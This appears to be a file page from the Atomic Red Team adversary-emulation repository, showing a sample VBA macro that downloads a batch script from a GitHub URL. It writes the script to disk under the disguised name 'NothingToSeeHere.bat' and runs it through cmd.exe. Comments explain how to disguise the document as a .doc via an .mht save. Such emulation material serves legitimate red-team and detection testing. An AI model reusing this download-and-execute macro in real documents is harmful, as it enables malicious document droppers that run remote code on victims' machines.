Files
atomic-red-team/Windows/Payloads/SampleVBAMacroDownloader.vba
T
caseysmithrc c03b740553 update instructions
Update MHT To Doc Notes
2017-11-13 11:54:20 -07:00

32 lines
813 B
Plaintext

' Save Document As Single Web Page .mht
' Rename Document As .Doc
Sub DownloadFile()
Dim myURL As String
Dim myPath As String
myURL = "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send
myURL = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
' Change Path HERE
oStream.SaveToFile "C:\Tools\NothingToSeeHere.bat", 2 ' 1 = no overwrite, 2 = overwrite
' EXECUTE FROM PATH
Shell "cmd.exe /c C:\Tools\NothingToSeeHere.bat"
oStream.Close
End If
End Sub